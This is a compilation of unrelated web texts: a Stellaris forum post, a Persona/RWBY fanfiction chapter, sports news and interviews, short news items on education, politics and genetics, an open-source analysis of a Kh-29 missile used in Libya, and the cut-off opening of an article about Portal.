-"A hyperlane, also known as a [...], spacelane, [...], was an area of space that had been deemed safe for hyperspace travel." ...This is a quote from the wiki of Star Wars ( http://starwars.wikia.com/wiki/Hyperlane ) ...Personally, I'm preferring the "spacelane"-term, but the actual thing is, that I can totally identify these "spacelanes" for Stellaris, so that such a one is NOT an artificial or a magical "road in space", which simply boosts a ship into an artificial or into a magical ftl-state, so that such a "spacelane" is nothing more than "empty" space in between 2 locations, 2 star-systems for example, without facing the risk to collide with "something" in between these 2 locations ...For Star Wars as well as for Stellaris, this explanation makes even more sense in regards to the circumstances, that these "spacelanes" are just there + that it's not even necessary to build special structures, special space-stations at the entry-/exit-points in the star-systems for example, for the usage of them + that the maps of Star Wars / Stellaris don't represent all the star-systems in their galaxies, so that you could guess, that in the case, that there isn't a "spacelane" between 2 "interesting" / represented star-systems, you have (probably) - 1 or more "un-interesting" / not represented star-systems or "something else" in between these 2 "interesting" / represented star-systems ...This "something else" could even be an other "spacelane", so that it makes somewhat sense, that the species have made some sort of a mutual agreement about an established "spacelane-network" without "crossing" "spacelanes" to avoid the risk, that their ships collide with each other ...What's left is, that a ship needs an own ftl-device for itself, but it's nevertheless recommended, that this ship uses "spacelanes" / an established "spacelane-network" ...For Stellaris, we could call it a day by calling this ftl-device the (more explainable) "warp-drive" (Star Trek) than the (not so comprehensible) "hyper-drive" (Star Wars) ...By the way, I wouldn't be surprised in the case, that ...01. The "hyper-drive" (Star Wars) is actually some sort of a (better) "warp-drive" (Star Trek) ...02. The "warp-drive" (Star Trek) is actually a bit more restricted in regards to "spacelanes" / an established "spacelane-network" ...
-Chapter 39  "I could just take care of both fights." Yosuke offered.  "Ah but you can't." Thanatos said. "You must each take a round."  "Well, I guess that's out the window." Yosuke sighed. "Alright, it would make sense if the second round was more difficult than the first, so maybe you should take this one."  "I can handle it." Rise said. She picked up her spear/laser and walked down the ramp. Taking up her place on the arena floor, she waited for her opponent as the ramp transformed back into a wall.  "You all accused me of playing mind games." Thanatos said. "I won't deny it, and if it's mind games you want it's mind games you'll get." The mass of shadow-goo that bubbled up from the arena floor grew massive before collapsing into a small humanoid form. As the excess fell away it became clear that it had taken the form of Naoto.  "You think because it has my friend's face I won't kill it?" Rise asked.  "That's part of it, but I intend to give you the full shadow experience." Thanatos laughed.  "What's that supposed to mean?" Rise demanded.  "I think you know." The shadow said. It sounded like Naoto but distorted like a bad recording and filled with malice. "I would think that this form would make you a more eager killer."  "That's absurd." Rise said. "Why would I be eager to hurt my friend?"  "Friend, such a funny word." The shadow said. "It means different things to different people. Apparently for you it's a person of whom you are jealous. A person you resent."  "I...I don't know what you're talking about." Rise said. She was less than convincing.  "You want what I have." The shadow was now talking as if it were Naoto. The shift was subtle but disturbing. "You want what I have with Yu. Why would he choose me over you? You're so much sexier and so much more fun. You'd do anything to have what I have. Anything except actually saying it. You're too afraid to make us both hate you so you just keep it to yourself and act like it's not important. You act like it's not eating you up inside but it is. You just tell yourself it's for the best. Just let everyone be happy. Everyone except you."  "Alright, I get it!" Rise shouted. "I feel that way sometimes and I'm not proud of that. I don't hate Naoto for it. It certainly doesn't make me want to hurt her. You, on the other hand, you're just a shadow. I have no trouble hurting you, no matter what form you take."  "Then let's do this." The shadow hissed. It reached into its jacket and drew a revolver as Rise readied her weapon.  The shadow leveled its gun at Rise. She took aim herself and shined her laser in the shadow's eyes. The shadow recoiled and fired blindly, emptying its gun. By the time its vision cleared Rise was no longer where she had been. The sound of footsteps made the shadow turn, just in time to see Rise rushing toward it. She thrust her spear forward and the shadow jumped aside, narrowly escaping the attack. It attempted to pistol whip her but Rise was already ducking under the strike and it missed by a comfortable margin. Rise planted her spear against her foot and fired. The point extended with extreme speed and hit the shadow in the chest. The shadow was lifted off the ground and tossed onto its back.  Rise attempted to pin the shadow to the ground with her spear but it rolled out of the way and left her off balance. Jumping to its feet, the shadow went for a punch but Rise easily dodged it. It was like she knew it was coming. The shadow jumped back and raised both arms over its head. It brought them down and a blast of wind fired out in all directions. Rise tried to brace herself but was thrown off her feet and sent sliding across the arena floor. She did not waste a second, rolling to her feet and running as soon as her wild skid stopped, narrowly avoiding a fireball produced by the shadow. While running, Rise fired her laser in the shadow's general direction. Her fire was inaccurate but appeared to be doing some damage.  The shadow clenched its fist and a spectral shield appeared between it and Rise. Her laser fire was stopped well short of the target and the shadow was given time to counterattack. A black circle appeared on the ground ahead of Rise. She stumbled but managed to stop before hitting it. The circle collapsed and another appeared below her. She took off running erratically as a series of collapsing black circles appeared around her. A gigantic white square formed, too large for Rise run out of in time. She planted the tip of her spear in the ground.  The square collapsed in a blinding flash that filled the arena with light. When the light faded, Rise was gone. The shadow raised its arm in triumph but the match did not end. With an angry shriek Rise came falling out of the sky, heading straight for the shadow. She slammed the heavy, blunt end of her weapon down on its head, slamming it to the ground. Before the shadow could recover Rise plunged her spear into its chest. The shadow writhed for a moment before bursting into a cloud of glowing ash and evaporating away.  "Congratulations, you've won." Thanatos said flatly. "Please leave the arena floor."  Rise walked up the ramp to the others, still trying to catch her breath. "Okay, how the hell did you pull that off?" Yosuke asked. "You were trapped in the middle of the giant light attack and then the next time we saw you, you were flying."  "I wasn't really flying." Rise said. "I used my spear to launch myself off the ground. I got a lot more air than I was expecting but it worked out." She took a deep breath. "All that running was exhausting and that shadow was...humiliating. Senpai, Naoto, I'm really sorry."  "Sorry for what?" Yu shrugged. "You're only human. We all have nasty thoughts sometimes."  "I'd be lying if I said I wasn't jealous of you sometimes." Naoto added. "The way you interact with people so easily, your fame, your exciting career, there's a lot to be jealous of."  "We can talk about it more after this is over, but just know that we don't hold it against you." Yu said with a comforting smile.  "Oh, you guys are the best!" Rise exclaimed. She hugged both of them in turn.  "Sorry to interrupt, but this is a disturbing development." Mitsuru said. "Thanatos is clearly changing tactics."  "Well straight up fights weren't working." Weiss said. "Playing mind games is a way to throw us off without having to expend energy on summoning more powerful shadows."  "It's a disturbing thought, but we really don't know what he's capable of." Pyrrha said. "This tactic is bad enough but if it fails we have no way of knowing what he will try next."  "I'm sure whatever it is we'll be ready." Yosuke said. "We've dealt with some pretty bizarre stuff before."  "We have seen our share of strange occurrences too." Aigis said. "We were once trapped in a time loop."  "Yang once blew up a nightclub." Ruby added.  "I'm not sure that really applies here." Yang said.  "Me and Ren rode an Ursa!" Nora exclaimed. "It was so fun. Well, at least until it broke."  "What were we even talking about?" Yosuke asked, clearly confused.  "Time for the next match." Thanatos announced. "Jaune or Pyrrha, who will it be?"  "I should probably take this one." Jaune said. "I'll have to fight sometime."  "Alright, just be careful." Pyrrha advised. "Remember what we practiced."  "I guess we'll get to find out if that practice has been worth it." Jaune said with a forced laugh. He descended the ramp and waited as it transformed into a wall behind him. Jaune had already faced his shadow and he was confident he could handle whatever Thanatos could throw at him. He had learned a lot from Pyrrha and his other teammates, and now he was ready to put those newfound skills to the test.  The glob of shadow material that rose up in the center of the arena piled upon itself before condensing into a humanoid form. "Hey there Jauney-boy." The shadow said before it even finished forming.  "Oh come on!" Jaune protested. "Cardin? I thought I was done with him."  "Well I'm not done with you." The shadow laughed. "If I'm not mistaken, the last time we had a proper fight I beat the tar out of you."  "I've learned a lot since then." Jaune said.  "I'm sure you're just as useless as you were when you were my lackey." The shadow hissed.  "You're not even the real Cardin." Jaune said. He drew his sword and pointed it at the shadow. "Let's just get this over with."  "I always preferred kicking your ass to talking to you anyway." The shadow said.  The shadow charged as Jaune crouched behind his shield. At a full sprint, the shadow swung its mace. Jaune blocked it and the force sent him sliding back several meters. It hit at least as hard as the real Cardin. The shadow lunged forward with a wild swing and Jaune side-stepped it. He bashed the shadow on the back with his shield and stabbed forward with his blade. The stab was misjudged and missed badly, leaving Jaune open when the shadow whirled around and smashed him in the face with the mace. Jaune saw stars and stumbled back. The shadow kicked his legs out from under him and Jaune slammed down on his back.  Jaune rolled out of the way as the shadow slammed its mace down where his head had been. Scrambling to his feet, Jaune got his shield up just in time to deflect another mace shot. Now as the shadow's turn to be off balance. Jaune pressed forward, attacking the shadow's side. He blocked its attempt to counter with his shield and got inside its reach. Jaune slashed at the shadow, his blade drawing a shower of sparks as it deflected off the shadow's armor. He swung his sword again but this time the shadow ducked underneath the attack, grabbed Jaune behind the legs and threw him to the ground.  The shadow leapt atop Jaune, straddling his torso. Holding its mace with both hands, it lifted the weapon over its head and slammed it down on Jaune's face. There was a blinding flash as the mace bounced back harmlessly. The shadow was clearly stunned and Jaune used the opening to turn the tables. He slammed his shield into the side of the shadow's head, knocking it off. Jaune quickly rolled over, pinned the shadow's mace arm down with his shield. He flipped his sword around and plunged the blade into the shadow's stomach. Black sludge bubbled from the wound as the shadow writed for a moment then fell still.  Jaune withdrew his sword and headed back for the seats. It looked like the others were cheering for him, even if he could not hear anything. Interesting, the ramp had not reappeared. Suddenly Jaune was on the ground. His head ached and he was seeing double. "Man you're stupid." The shadow laughed, standing over him. "Finish your kills moron." The shadow lifted Jaune by the collar, set him on his feet and kneed him in the gut. As Jaune doubled over the shadow nailed him in the face with an upward strike from its mace.  Jaune found himself on his back again. The shadow had played a nasty trick. As it approached, Jaune decided to play a trick of his own. The shadow stepped up to him, a confident smirk on its face. Jaune kicked it in the groin. The shadow stumbled back, giving Jaune the opportunity to get to his feet. He took a few steps back to catch his breath as the shadow recovered from the low blow. After a moment the pair charged each other. Jaune deflected the shadow's mace with his shield, spun around and stabbed the shadow in the arm. It groaned in pain and dropped the mace. The shadow tried a desperate punch. Jaune ducked it and sliced off its arm. He stepped back then lunged forward, thrusting his blade through the shadow's neck. With a quick twist, he lopped the shadow's head off. It burst into a cloud of glowing ash that evaporated away.  "Congratulations, you've actually won this time." Thanatos said. "Rejoin your companions."  Jaune climbed the ramp to the others feeling more than a little embarrassed. He expected some jokes at his expense. "I know, that was dumb." He sighed.  "You need to be careful." Pyrrha said, laying a hand on his shoulder. "You should never turn your back on an enemy. Your life is at stake."  "Yeah, my bad, I guess I got overconfident." Jaune said.  "As long as you learn from it, it's fine." Pyrrha encouraged him.  "I have to say, I'm a little annoyed." Rise said. "Unless I'm missing something, you got off easy with the mind games."  "You're not wrong." Jaune admitted. "He was a problem a while ago but I'm totally over it."  "Maybe Thanatos didn't think you were strong enough to bother." Blake said.  "Again, not wrong." Jaune groaned. "I don't think that performance is going to change anyone's mind either."  "You did fine." Pyrrha said. Jaune was unconvinced.  "I've been thinking, we've all got very different levels of ability but all the fights have been pretty close." Ruby observed. "That means Thanatos must be tailoring the strength of the shadow to each of us."  "It makes sense to a degree." Naoto said. "If it drains even a little of his power to create the shadows, he wouldn't want to waste energy by summoning shadows that totally overmatch us. That said, if he did that and killed us all, it would hardly matter."  "What if just killing us isn't the goal?" Mitsuru theorized. "Thanatos said as much. His aims may not be what he says, but there may be some truth to that."  "Maybe we're missing the point." Blake said. "Maybe he doesn't have a choice."  "Do you think he really is following Nyx's will?" Akihiko asked. "That would tie his hands."  "No, nothing like that." Blake replied. "I don't believe that at all. Maybe it's a more basic limitation on his power."  "Shadows are the produce of the unconscious mind." Yu said. The look on his face said he was putting pieces together. "Maybe he can only summon shadows by drawing them out of us. If that's the case, the shadows would naturally be similar to us in terms of ability level."  "Or it's something else entirely." Naoto sighed. "As painful as it is to admit, I can't figure this out. I need more evidence. It's a terrible thing to say, but I think we would learn a lot if one of us died."  "If you're looking for volunteers I don't think you'll find any." Ren said. "We've been down that road with our shadows already."  "No, that's not what I meant." Naoto said. She was clearly sorry she had said anything in the first place but it was too late now. "Sorry, I'm used to investigating crimes. Examining the body can tell you a lot about the killer. Seeing what Thanatos does if one of us falls would be similarly enlightening, though I sincerely hope it doesn't come to that."  "If I survived you guys shouldn't have any problems." Jaune said.  "You've come up with some interesting theories." Thanatos said. "No matter, it's time for the next match. Aigis or Labrys, you're up."  "I'll do it." Labrys volunteered.  "I am sure you can handle whatever Thanatos may have in store." Aigis said. Labrys nodded and descended into the arena.  "It's almost too easy with Labrys." Hypnos laughed. "She's so unstable." If Labrys was angered by the insult she did not show it. She did look worried though.  A swell of black sludge filled the center of the arena then collapsed, leaving behind a humanoid figure holding a gigantic sword. As the excess fell away it revealed a gray-haired robot girl with a close resemblance to Labrys. Labrys did not appear to be surprised but she did seem discouraged. "You're not exactly creative." Labrys sighed. "You made me face Unit 024 the last time too Hypnos."  "Why would he need to be creative?" The shadow said. "It's so effective! You keep having to kill me over and over. You say how hard it is. You say you can still see the look of pain and disappointment on my face the moment you crushed the life out of me. Yet you don't seem to have any difficulty repeating the process. Well, at least a part of you doesn't. It makes me wonder who the real Labrys is, you or the one with the yellow eyes. She seems to take charge whenever something important needs to be done. Maybe it's because you're too weak to do it without her. Come on now, bring her out so we can fight. I know you couldn't bear to kill me again. You're too weak to relive that pain."  "My shadow won't be making an appearance." Labrys declared. "You're not Unit 024. You're just a monster wearin' her face. Everythin' you say drives that point home. She would never say those horrible things. She would never be that evil. I won't have a problem killin' you."  "We'll get to find out won't we." The shadow said. It swung its huge sword around as if it were no heavier than cardboard. Labrys pulled the axe off of her back and it unfolded. She closed her eyes for a moment and a look of grim determination replaced the one of doubt. But there was no madness, no rage, it was just Labrys, facing her past, however painful.
-Camoranesi: Juve can do double  By Football Italia staff  Juventus legend Mauro Camoranesi has insisted his former side have what it takes to clinch a Scudetto and Europa League double.  The 37-year-old said it would be fitting for the Old Lady to win Europe’s secondary club competition on home turf, with the final set to take place at the Juventus Stadium.  “Juventus is like a school,” he commented. “It helps you to grow and mature.  “It is the right place to show your quality, it shaped my career.  “I don’t think they should just try to win the Scudetto but also the Europa League.  “The Bianconeri have the players to be able to win the double.  “Lets cross our fingers that they get to the final as it’s at the Juventus Stadium.”  The former Azzurri international also paid tribute to new loan signing Daniel Osvaldo.  “We are talking about a striker with great talent, someone different to the rest of the team.  “I think that was maybe what above all persuaded Juve to go for him.  “The increased competition is an advantage. For a great team, six strikers is not crazy.”
-J.T. Barrett threw for three touchdowns and ran for two in No. 14 Ohio State's 49-37 win over No. 8 Michigan State. (1:44)  EAST LANSING, Mich. -- If they weren't reading last rites on Ohio State's playoff chances when Braxton Miller injured his shoulder in the preseason, they certainly were after an ugly home loss to Virginia Tech the second week of the season.  The only problem with that was nobody knew at the time the guy waiting in Miller's shadow would be every bit as good.  Ready or not, Ohio State redshirt freshman quarterback J.T. Barrett officially welcomed himself to stardom Saturday night with a surgical, five-touchdown performance against No. 8 Michigan State in a runaway 49-37 victory that thrust the Buckeyes squarely back into the playoff race.  "Some people probably forgot about us," Barrett said. "We just kept working and kept believing."  Now here they are, and with four of the top 10 teams losing Saturday, the No. 14 Buckeyes are poised to make a big jump when the new College Football Playoff rankings are released Tuesday night. Not only that, but they exorcised the demons from their bitter loss to Michigan State in last year's Big Ten championship game and now have a clear path in front of them to this year's Big Ten championship game.  J.T. Barrett had 386 yards of total offense and five touchdowns against Michigan State. Allen Kee/ESPN Images  "I'm glad we got to play in prime time. 'GameDay' was here," Ohio State coach Urban Meyer said in doing some subtle playoff lobbying. "I'm glad everybody got to see the Ohio State Buckeyes because this is a different Buckeye team than it was early in the season."  A different team with a different quarterback.  Barrett completed just nine passes and threw three interceptions in the 35-21 loss to Virginia Tech back on Sept. 6. Against the Spartans, who entered the game ranked fifth nationally in total defense, he racked up 386 yards of total offense, threw three touchdown passes, rushed for two more and looked very much like he was the two-time defending Big Ten Offensive Player of the Year.  Earlier this week, Michigan State linebacker Taiwan Jones raised a few eyebrows when he said Barrett was a better passer than Miller and was a "way better quarterback." Miller later took to Twitter to fire back.  If you look at the numbers, Barrett is actually ahead of Miller's pace from the past season. Barrett has already thrown 26 touchdown passes in nine games and also has eight rushing touchdowns. That's compared to 24 touchdown passes and 12 rushing touchdowns by Miller all of last season. Barrett has 2,738 total yards through nine games. Miller finished with 3,162 total yards last season.  Michigan State defensive coordinator Pat Narduzzi wasn't about to get into the inevitable comparison between the two. But after watching Barrett do a number on his proud defense, Narduzzi made it clear what he thinks of the Buckeyes' newest star.  "That guy made about every shot he could," Narduzzi said. "He threw the seven route on target. He hadn't shown he could do that really consistently. I've got a lot of respect for him. He's a great football player, and he played big in a big game. He didn't throw off the mark at all. He put it right there where their guys were about to make the catches. He's a heck of a quarterback."  And he's only going to get better, which could make for an interesting decision for Meyer when Miller returns next season.  Meyer will deal with that dilemma (a good one to have) next season. Right now, he's got a football team playing its best football and a first-year quarterback setting the tone.  "I don't even think of him as a freshman. He's a great leader, one of the best leaders I've ever been around," Ohio State center Jacoby Boren said. "A guy like that makes you want to play even harder than you can. He's a great guy, great kid and great leader and pushes everyone to be better than what they are."  Some of the deep throws Barrett made against the Spartans were about as gorgeous as you're going to see. He connected with speedy Devin Smith six times for 129 yards, and the Buckeyes felt coming in that they would have opportunities for big plays down the field against Michigan State's press coverage.  "We didn't want to come in here and be conservative," said Barrett, who was 16-of-26 for 300 yards and didn't throw an interception. "We wanted to go out swinging. That's how we approached this game."  As for the connection with Smith, Barrett joked, "I told him to go run really fast, and I will throw you the ball. That was our conversation."  The conversation the college football world will be having, if the Buckeyes keep winning, is whether they're playoff-worthy, even with the baggage of that Virginia Tech loss.  Leave it to Barrett to shed the best perspective on where the Buckeyes go from here.  "We're just focusing on each other and not worrying about things outside our football program," he said. "Knowing that if we play for each other and everybody does their jobs, we're going to be all right at the end of the day."  Maybe we should have known that all along.
-BL: During your 13 seasons with the Boston Bruins, you spent 2,095 minutes in the penalty box. This ties you for 45th on the career penalty minute list. Are you happy that today's players are not likely to surpass you?  This interview originally aired on March 7, 2015. This week it appears again as a part of our ‘ Best Of ‘ show.  To discuss these numbers, Bill Littlefield spoke with Terry O'Reilly , an extremely valuable asset to the Boston Bruins between 1972 and 1985, who was regularly among the league leaders in penalty minutes.  Over the past few years, NHL enforcers — players hired for their fighting skills -- have been having trouble finding work. Concerns about the long-term effects of concussions have led to stiffer penalties for fighting, and advanced analytics suggest that teams that focus on puck possession skills are more successful. The Wall Street Journal chronicled one result: as fewer players spend time in the penalty box, power-play opportunities are at their lowest level since at least the 1968-1969 season.  TO: Well, it's not a record that I'm proud of. It's just an indication of the nature of the game back when I played. Say we went into Philadelphia and you body-checked somebody like Dave Schultz or Behn Wilson. They felt obligated to be outraged in front of their home fans, and it was almost like their gloves were spring-loaded. You bump into them and they popped off. And away you went, and they had a fight.  But the change in the game I think has been nothing but good. The skill — some of the prettiest goals we've ever seen the last few years. So the game is headed in the right direction.  BL: So it sounds as if, with penalties for boarding, charging, cross-checking, elbowing, etc at their lowest levels since 2001-2002, you can see the difference when you watch a game.  TO: You can. You know if you were to watch a two-minute clip of a game from the '70s and then watch two minutes of a game in the '80s and then go to the '90s, every 10 years you can really see a visible increase — uptick — in the overall speed of the skaters. And, you know, there's 20,000 people that have paid to come and watch hockey, not two people dancing in the corner.  BL Over the course of your career, you developed into an all-around player. You were a two-time All-Star, in fact. Would you have had the opportunity to develop your skills had you not first found a job as an enforcer?  [sidebar title="Derek Boogaard's Troubled Life" width="630" align="right"] John Branch's "Boy On Ice" tells the story of NHL enforcer Derek Boogaard, who died of an accidental drug overdose in 2011.[/sidebar]  TO: Well, there's no question that my willingness to scrap bought me more time. But if I were to come along in this era, with my skating skills that I had when I was 19, 20 years old, I would not make the Boston Bruins farm team.  BL: Do we lose excitement, though, when there are fewer power-play opportunities?  TO: I don't know how many fewer there are. What used to be a two-minute penalty for attempted murder is now two minutes for putting your stick on the side of a player as he's skating by you — wouldn't even be considered a hook back then — but once you put your stick in that area, the referee's arm goes up, and a call is made. So there's a power play. So, statistically, how much is it reduced?  BL: In December, ESPN declared the classic enforcer position is "practically extinct." Do you think this is a temporary change or has the game changed in such a way that we don't see these players anymore?  TO: I think it's a permanent change just because of the direction in the nature of the game. It's evolving. The most exciting hockey that we could hope to watch would be Stanley Cup Final hockey, Olympic gold medal games — watch the Final Four and how many fights do you see in those games? So you can have the ultimate competition in your sport without fighting, and it's evidence that we don't need it.  The other thing is, with all these lawsuits for concussions floating around, the NHL really doesn't have a good defensive position if they have a game that allows two grown men to drop their gloves and punch each other in the head when down the road these players start to show long-term symptoms of concussion. So it's on its way out.
-A town in northern Portugal has made Chinese obligatory for 8- and 9-year old school children, in order to boost the kids’ abilities for future competition in the thriving Chinese market.  Sao Joao da Madeira, with only 20,000 residents, is regarded as the country’s shoe capital, specializing in luxurious footwear.  The authorities there are sure that a good command of Mandarin will ensure a foothold for the Portuguese in China.  "Chinese is the key which will open the doors to the world's biggest market," Dilma Nantes, Sao Joao da Madeira's city councilor on education, said.  The children also seem to enjoy learning Chinese and dream of visiting China.  "I would like to see the Great Wall," nine-year-old Eduardo told AFP, while his classmate Daniela reckoned Chinese was “not particularly difficult.”  Their teacher confirmed the children’s progress, saying with a smile, “they are learning very fast.”  The financial crisis has seen unemployment in Portugal soar by 17 percent, making it one of the sickest economies in the eurozone.  China is the world’s biggest producer of footwear, with an astonishing number of 10 billion pairs per year. However, wealthy Chinese are fond of Portuguese shoes, the second most expensive after Italian - exports skyrocketed from 10,000 pairs in 2011 to 170,000 pairs in 2013.  Last year, revenue topped €20 million.
-Planning on filing your taxes on time? Feeling like a sexy San Franciscan?  Lucky you!  Trojan, the trusted condom company that caused quite a buzz when they announced they'll be giving away free vibrators on tax day earlier this year, will be doling out grown-up toys on Friday, April 12 at The Box in SoMa.  According to the good people over at SFist, all you have to do is show up at the event space some time before noon and 4 p.m. and mention you've filed your taxes. No proof necessary -- just your own enthusiasm.  A plethora of other national chains -- mainly of the fast food variety -- will also be handing out Tax Day freebies to upstanding citizens, as our friends at HuffPost Money noticed.  But this is San Francisco, after all, so you're obviously getting the most bang for your buck at The Box. Just be sure to proceed with caution.
-Bernie Sanders isn’t done talking about criminal justice reform — in fact, he’s merely getting started. The presidential contender continues to rise in the polls and sensible Drug War reforms will only increase his standing with the Democratic base.  Appearing at a campaign rally in Nevada on Tuesday, the Vermont Senator and Democratic presidential candidate talked at length about the unfairly punitive policies that plague the American justice system and disproportionately affect people of color in the United States. Speaking to the crowd of 4,500 supporters gathered outside the University of Nevada, Sen. Sanders went beyond his previous speeches on the issue, announcing that, come September, he will be introducing federal legislation which would abolish for-profit private prisons.  “When Congress reconvenes in September,” Sanders said, “I will be introducing legislation, which takes corporations out of profiteering from running jails.”  Tackling the problem of for-profit prisons is a bold move for a federal legislator, as the prison industry is a hugely profitable part of the U.S. economy. The top two private prison companies in the country, Corrections Corporation of America and GEO Group, have a combined annual revenue of over $3 billion, much of which is spent lobbying elected officials to protect their bottom line. While some states, such as New York and Illinois, have enacted laws to ban the privatization of prisons, for-profit prisons have tragically remained a staple of the American criminal justice system, in large part due to the country’s skyrocketing incarceration rates made possible by the War on Drugs.  Bernie Sanders also indicated that the War on Drugs will be a focus of his campaign. “We want to deal with minimum sentencing,” Sanders said Tuesday, “Too many lives have been destroyed for non-violent issues. People that are sent to jail have police records. We have got to change that. Our job is to keep people out of jail, not in jail.” According to audience members, Bernie Sanders also said that his campaign will be addressing marijuana legalization in the weeks to come:  At NV event just now Bernie Sanders said they’d have something to say about marijuana legalization in a month — Zaid Jilani (@ZaidJilani) August 18, 2015  Sounds like Bernie is gonna put out a marijuana legalization platform which would be good for his campaign’s momentum — Zaid Jilani (@ZaidJilani) August 18, 2015  While we’ll have to wait for the platform’s release to get a clear picture of Bernie’s marijuana agenda, this announcement suggests that Sanders is looking to take the lead on the issue — something that most other presidential hopefuls have neglected to do thus far. Rather than directly discussing marijuana legalization as a policy, the Republican candidates have debated over the role of the federal government in imposing prohibition in states that have legalized the plant. While several GOP contenders, such as Jeb Bush, Ted Cruz, and Carly Fiorina, have come out in favor of states’ right to regulate marijuana, others argue that federal prohibition should be enforced in Colorado, Washington, Oregon, and Alaska. Sanders’ Democratic rivals, on the other hand, have stayed mostly silent on the issue during the course of their presidential campaigns.  Photo credit: Gage Skidmore via Wikimedia Commons.
-Research shows that people who have blue eyes all come from the same single common ancestor. A research team at the University of Copenhagen have tracked down a genetic mutation that occurred around 6-10,000 years ago and resulted in all the blue eyed humans that exist in the world today.  Image courtesy of butler.corey  Professor Eiberg from the Department of Cellular and Molecular Medicine said of the discovery that, “originally, we all had brown eyes but a genetic mutation affecting the OCA2 gene in our chromosomes resulted in the creation of a “switch”, which literally “turned off” the ability to produce brown eyes.” The gene code that is referred to as the switch affecting factor, relates to the P protein which is involved with the production of melanin – the pigment that gives color to our hair, eyes and skin. The mutation that occurred centuries ago didn’t turn off the gene completely but limited its action so that the production of melanin in the iris is reduced, resulting in the diluting of brown eyes to blue. If the OCA2 gene has been utterly destroyed or ‘turned off’, all human beings within this generation line would be without melanin in their hair, eyes or skin colours – a condition we know as albinism.  The variation that is found in the color of the eyes from brown to green can all be explained by the amount of melanin that is in the individual’s iris – but blue eyed people have only a small amount of variation in the amount of melanin in their eyes. And from this evidence it was concluded that all the modern day blue eyed individuals are lined to the same ancestor, as “they have all inherited the same switch at exactly the same spot in their DNA” says Professor Eiberg. The research that led the team to this conclusion was undertaken in countries as diverse as Jordan, Denmark and Turkey, to make sure that each individual studied would be geographically far from other individuals with blue eyes, yet could potentially have similar levels of melanin that would back up Eiberg’s theory. The research took a decade of dedicated genetic study after the Professor first identified the OCA2 gene as potentially being responsible for eye color.  Our genes mutate all the time and often can have neither a negative or positive reaction, it is simply a part of our constant evolution. Although many of these changes will not have an effect on a human’s chance of survival, which is generally why a gene mutates, the discovery of mutations like this allows us to to trace all the way back to a common ancestor who fathered all of the blue eyed humans.  by Ellie Cambridge
-The following post originally appeared here, authored by the Oryx Blog team. It has been expanded and modified with their permission for The Hoplite by Michael Smallwood and Yuri Lyamin.  In a series of photos coming out of Tripoli, Libya, militants are shown using sophisticated guided air-to-surface missiles as unguided surface-to-surface weapons. The missile shown, a Kh-29T, is believed to have been seized from a weapon depot close to Ghardabiya airbase, near Sirte.  The Soviet Kh-29 series of missiles (NATO reporting name AS-14 ‘Kedge’) began development in the 1970s, eventually entering service in 1980. Intended for use on larger targets that lighter missiles like the Kh-23 and Kh-25 were inadequate for, Kh-29 series missiles soon became standard armaments on almost all Soviet and Russian strike planes and multirole fighters. This includes the Su-17M4, MiG-27K, Su-24M, Su-25, Mig-29M, and others.  Featuring a 320 kg high explosive (HE) warhead, Kh-29 missiles are fitted with an impact target sensor, allowing penetration of the exterior of the target prior to detonation. Separated into 5 main sections, the front “seeker” component (see section marked “I” in technical drawing below) has two main guidance variants, with the Kh-29L using semi-active laser guidance, and the Kh-29T and Kh-29TE using passive TV guidance. The Kh-29T has an optimal target detection range of 4 – 5 km and, with ideal weather conditions, is highly accurate, with a 2.2 m circular error probable (CEP).  In Libyan service, the Kh-29T is believed to have been solely used on the Su-24 aircraft delivered from the Soviet Union in the late 1980s. Unable to maintain their five Su-24MKs and one Su-24MR internally, due to an imposed arms embargo, Libya turned to both Syria and Iran for assistance in keeping the fleet operational. Syria was subsequently repaid with one Su-24MK fighter-bomber and Libya’s sole Su-24MR reconnaissance aircraft. After losing their four remaining Su-24MKs – one during operations early in the Libyan conflict, and 3 to NATO air strikes at Ghardabiya airbase – it appears there are no remaining aircraft in the Libyan inventory capable of carrying some of the extant air-to-surface weaponry, including the Kh-29T.  It now seems efforts have been undertaken to press some of these munitions into service again, albeit in an improvised ground-to-ground role. The Kh-29T shown in the pictures above appears to have modified fins, presumably intended to provide a more stable flight path in this new unguided capacity. The large size of the warhead is assumed to be the reason these missiles were chosen.  Technical Characteristics:  Kh-29T  Missile weight: 680 kg  Length: 3900 mm  Diameter: 400 mm  Wingspan: 1100 mm  Minimum range*: 3 km  Maximum range: 8 – 12 km  Engine: fixed thrust solid, fuel rocket  Fuze type: impact  Guidance system: passive TV  Warhead: high-explosive penetrating  Warhead weight: 320 kg  Kh-29TE  Missile weight: 690 kg  Length: 3900 mm  Diameter: 400 mm  Wingspan: 1100 mm  Minimum range*: 3 km  Maximum range: 20 – 30 km  Engine: fixed thrust, solid fuel rocket  Fuze type: impact  Guidance system: passive TV  Warhead: high-explosive penetrating  Warhead weight: 320 kg  Kh-29L  Missile weight: 660 kg  Length: 3900 mm  Diameter: 400 mm  Wingspan: 1100 mm  Minimum range*: 3 km  Maximum range: 8 – 10 km  Height of launch: 0.2 – 5 km  Engine: fixed thrust, solid fuel rocket  Fuze type: impact  Guidance system: passive TV  Warhead: high-explosive penetrating  Warhead weight: 320 kg  *Minimum range for all systems is given with regards to guidance systems efficacy. These minimums would not apply in the case above, and do not correlate to minimum arming range of the system.  Special thanks to the Oryx Blog team, Yuri Lyamin, and Khaled Ben Alewa for their assistance. Technical characteristics taken from here. Technical drawing from here. Images from here and here.
-Over the next two weeks we'll bringing you our pick of the games of the generation - and today we're starting off with Portal, Valve's exceptionally smart puzzler that was the surprise highlight of The Orange Box when it launched in October 2007.  Few would dispute that, when it comes to video games, this has been the decade of the shooter. Endless racks of guns have passed through our fingers, some based on pristine real world counterparts (Call of Duty, Battlefield), others rickety and unreliable (Far Cry 2), yet more futuristic or fantastical (Halo, Mass Effect). So much effort and iteration has gone into the virtual gun (the way that it bobs in the hand, its irritable kickback when fired, its vocal performance), that this year Infinity Ward - architect of the contemporary shooter in Modern Warfare - resorted to dented sights as notable feature in its next Call of Duty game. It's understandable: once you've delivered perfection where else to go but imperfection?  Jonathan Coulton's song that plays over the game's credits provided another rarely repeated invention: a lyrical song penned specifically for a game.  The gun suits the 3D video game like none other of our species' inventions. There is no tool better suited to giving players the ability to affect objects both near and far in a 3D world, extending the player's reach into the television screen. With a bullet we can take out an enemy standing directly in front of us or just as easily shoot a wall-mounted switch a hundred metres into the distance. Change the breed of gun and you alter a game's entire pace and rhythm, from the slow buckshot suckerpunch of the shotgun to the pitter-patter niggling of a machine gun. What other invention offers the player such scope, flexibility and utility? For this reason the gun has been promoted to a position of ultimate importance in blockbuster video game land. Indeed, viewed with fresh eyes it can look like our medium builds its worlds around the gun, which nods 